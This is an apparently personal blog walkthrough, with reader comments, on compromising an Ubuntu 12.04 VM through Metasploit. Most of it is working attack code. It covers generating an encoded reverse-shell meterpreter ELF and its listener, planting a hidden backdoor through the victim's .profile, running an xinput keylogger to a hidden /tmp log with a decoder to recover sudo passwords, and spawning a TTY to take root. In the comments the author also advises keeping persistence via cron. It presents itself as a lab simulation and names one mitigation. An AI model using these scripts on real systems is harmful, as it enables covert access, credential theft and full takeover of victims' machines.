Hacking Ubuntu 12.04 LTS using Metasploit

This was a particularly fun exercise and I decided to share the details as well as the scripts that I’ve created and modified from various sources. First of all, there are very few articles describing Metasploit meterpreter used against Linux (Ubuntu in this case) so I decided to fill in the gap and make this walk-trough from the point where the target runs our binary payload to a complete root compromise of the target system.  So this is what I have used in my scenario:

  • Ubuntu 12.04 LTS 32bit default installation with all updates running inside a VM
  • VirtualBox
  • Metasploit framework – current
  • Debian Squeeze 64bit as my host platform

So first of all I have prepared a simple little binary elf generator in bash to make things easier. Place this file in the Metasploit root folder :

echo "************************************************"
echo "************************************************"
echo -e "What IP are we gonna use  ex.  \c"
read IP
echo -e "What Port Number are we gonna listen to? : \c"
read port
./msfpayload linux/x86/meterpreter/reverse_tcp LHOST=$IP LPORT=$port R| ./msfencode -t elf -e x86/shikata_ga_nai >> Executive
echo "Executive binary generated.."
chmod u=rwx Executive
ls -la Executive

OK now we have an ELF binary called Executive which we will use on the target Ubuntu system.

Next we need to start up a listener for our reverse meterpreter shell, again place this file in the root folder of Metasploit.

echo "*********************************************"
echo "*********************************************"
echo "Here is a network device list available on yor machine" 
cat /proc/net/dev | tr -s  ' ' | cut -d ' ' -f1,2 | sed -e '1,2d'
echo -e "What network interface are we gonna use ?  \c"
read interface
echo -e "What Port Number are we gonna listen to? : \c"
read port
# Get OS name
IO="" # store IP
case $OS in
   Linux) IP=`/sbin/ifconfig $interface  | grep 'inet addr:'| grep -v '' | cut -d: -f2 | awk '{ print $1}'`;;
   *) IP="Unknown";;
echo "      starting the meterpreter listener.."
./msfcli exploit/multi/handler  PAYLOAD=linux/x86/meterpreter/reverse_tcp  LHOST=$IP LPORT=$port  E

So once we have the listener interface up and running we can move onto the target Ubuntu system.

I got some feedback regarding how did the executable get to the target in the first place. Well  I copied it there myself, being myself as the potential victim. This is not a real world scenario, but rather a simulation of what is possible. I do not wish to get into details on how to push the binary to the user. It is not in the scope of this exercise. But bear in mind that there are a few ways to do it.

Pictures say more than words, so here is a screenshot of the whole process >

So now we are ready to execute the “Unknown” binary on the target computer. When I double click the Executive binary nothing happens, but we get a reverse shell on our listener interface.

So what now ? We have a shell, but we want Root right ? The next few steps get more interesting as we go deeper into the problem.We will plant a backdoor into the home folder of the current user and execute it via the .profile script when the user logs in. So we first download the .profile from the home directory

We modify the .profile locally to include the backdoor by adding a launcher to the Executive binary like so  ./.executive & (make sure it is executable)

And finally we upload the modified .profile to the target like so

Next we upload the ELF binary executable to the home folder and  rename it it .executive and make sure it is RWX

So now we have a permanent backdoor planted, and every time the target logs in he executes silently the elf binary called .executive in his .profile.

So now what, we have a user shell and we want more, we want root right ? So lets get root.

Ubuntu ships with xinput so we can abuse this as a keylogger and record every keystroke the user inputs while in his X session. I have developed a special set of scripts usable with Metasploit to make the whole process fast and easy.  So now we need to upload a keylog.sh script to the target and execute it.

Here is the source for the keylog.sh

export DISPLAY=:0.0
xinput list
echo -e "KBD ID ?"
read kbd 
xmodmap -pke > /tmp/.xkey.log
script -c "xinput test $kbd" | cat >> /tmp/.xkey.log & 
echo "The keylog can be downloaded from /tmp/.xkey.log" 
echo "Use the meterpreter download function" 
echo "Press CTLR+C to exit this session, keylogger will run in backround"

This script is pretty self explanatory, we set the DISPLAY, get the xinput ID for the keyboard, dump the xmodmap to /tmp/.xkey.log  and append any keystrokes to the same /tmp/.xkey.log file. We need to download the /tmp/.xkey.log file after a while to see if there are any captured keystrokes and decode it.

So we upload it and run it

We put in the KBD ID in this case it is id=10

And terminate the shell session as the keylogger is running in the background. After a while when we think that the log file with keystrokes is full we download the .xkey.log from the /tmp folder like so

Next we need to decode the content of the .xkey.log so it would be readable. I have created a special decoder script that can do just that. Again the .xkey.log needs to be in the path of the decoder script

cat .xkey.log | grep keycode > xmodmap.pke
cat .xkey.log | grep 'key p' > xlog 
rm -f .xkey.log 
#Generating some Python to do the decoding
echo 'import re, collections, sys' > decoder.py 
echo 'from subprocess import *' >> decoder.py
echo 'def keyMap():' >> decoder.py
echo '   table = open("xmodmap.pke")' >> decoder.py
echo '   key = []' >> decoder.py
echo '   for line in table:' >> decoder.py
echo "      m = re.match('keycode +(\d+) = (.+)', line.decode())" >> decoder.py
echo '      if m and m.groups()[1]:' >> decoder.py
echo '         key.append(m.groups()[1].split()[0]+"_____"+m.groups()[0])' >> decoder.py
echo '   return key' >> decoder.py
echo 'def printV(letter):' >> decoder.py
echo '      key=keyMap();' >> decoder.py
echo '      for i in key:' >> decoder.py
echo '              if str(letter) == i.split("_____")[1]:' >> decoder.py
echo '                     return i.split("_____")[0]' >> decoder.py
echo '      return letter' >> decoder.py
echo 'if len(sys.argv) < 2:' >> decoder.py
echo '        print "Usage: %s FILE" % sys.argv[0];' >> decoder.py
echo '        exit();' >> decoder.py
echo 'else:' >> decoder.py
echo '        f = open(sys.argv[1])' >> decoder.py
echo '        lines = f.readlines()' >> decoder.py
echo '        f.close()' >> decoder.py
echo '        for line in lines:' >> decoder.py
echo "                m = re.match('key press +(\d+)', line)" >> decoder.py
echo '                if m:' >> decoder.py
echo '                          keycode = m.groups()[0]' >> decoder.py
echo '                          print (printV(keycode))' >> decoder.py

echo 'Please see LOG-keylogger for the output......' 
python decoder.py xlog > LOG
sed ':a;N;$!ba;s/\n/ /g' LOG > LOG-keylogger 
rm -f LOG 
rm -f xmodmap.pke 
rm -f decoder.py
rm -f xlog 
cat LOG-keylogger

So when we run this script (python is needed) we can see something like this:

So if the user does elevate via sudo then we get the password in this log. So how do we do sudo su in the meterpreter shell ? Normally we cannot as you can see here in the screenshot

There is a trick however that can bypass the no TTY problem  and that is Python. Python is shipped by default on Ubuntu 12.04 LTS so we can type this:

python -c ‘import pty;pty.spawn(“/bin/bash”)’   and we can elevate to root via sudo su

And that is the end.  We now have root and own the box. I hope you have enjoyed reading this as much as I have creating it. CentOS, Debian Squeeze for example do not ship  the xinput binary by default, so this attack is not possible.

A quick and dirty solution is just # chmod a-x /path/to/xinput to prevent keyboard sniffing.

UPDATE > even if the xinput binary is not present on the system, we can upload a generic one to the target and execute it via the meterpreter shell.  I have tested the Ubuntu 12.04 LTS 32bit xinput against Debian Squeeze 64bit and it works and we can sniff the keyboard.

Here is a video presentation of the above attack

“While we teach, we learn”   Seneca


About astr0baby

Please run Adblock or similar... we have been told to do so since Carl Sagan wrote the Contact .
This entry was posted in Uncategorized. Bookmark the permalink.

16 Responses to Hacking Ubuntu 12.04 LTS using Metasploit

  1. Robin says:

    I think you need to mention something about the fact you need to get the Executive binary onto the victims machine in the first place and find a way to have them run it. Without mentioning that the rest of the stuff about meterpreter is a bit redundant as it looks like you already have full GUI access to the victim.

    • astr0baby says:

      Yes, I guess so. There are a few reliable ways to do that, but that is not the point of the article.

      • Robin says:

        I’m not suggesting show how to do it, just point out that it would need to be done, otherwise, as I say, people who don’t know much about this kind of thing would end up questioning why bother with meterpeter if you already have GUI access and can run applications from the desktop.

  2. Thoughtful, clear directions with a community inspiring quote as a conclusion. Thanks for this thorough breakdown.

  3. Pingback: Security News #0x2A: Thanksgiving Edition « CyberOperations

  4. I am looking for Ubuntu blog and i find this in google. Thank you…

  5. what i did wrong? says:

    Hello! I have a problem, how can I connect to the pernament backdoor, when I power off my pc? “Victim” pc is running, I switch on my pc, run listener, and metasplit stoped on “[*] Starting the payload handler…” and blinking. I have to run .executive manually on “victim” pc to make it work, or reboot “victim” pc and waiting when .executive run again with system startup.

    • astr0baby says:

      Well, you can try and use a different connect back payload, maybe the reverse_https ?
      Check more info here https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication

      • what i did wrong? says:

        Thank you for answer!
        Yeah, but it is only windows script, persistence sciprt also work only with windows, I need linux script, now i thinking about shell script it will be terminate process and start it again after 10 minutes over and over again. It’s not a nice “clean” solution but should be work, ofcourse script will be started with system start. Then even when I will be lost connection I will be must wait only 10 minutes and have it again. What do you think about something like this?

        Now I must read about shell programming and check this out, I use linux from years, but never write shell script by myself.

      • astr0baby says:

        Well, maybe you should first try and get some knowledge behind shell scripting before you attempt to pentest a linuxbox. From what you are asking a simple “at” or “crontab” command might do the trick once you get the initial reverse shell.

  6. kiran says:

    seems this is strictly for 32-bit. For 64-bit machines can I use x86_64 instead of x86 in the given scripts?

    • astr0baby says:

      I did not try this on 64bit linux, but I think the native 64bit payloads are only for reverse shell, no meterpreter Im afraid. But maybe the 32bit emulation would work fine for on the 64bit system and you could just run the 32bit meterpreter payload.

  7. Pingback: Protect Ubuntu system from MSFvenom attacks - ubuntutextbook

  8. Pingback: Protect Ubuntu system from MSFvenom attacks - Gomagento2

  9. Pingback: Protect Ubuntu system from MSFvenom attacks - TUTB

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.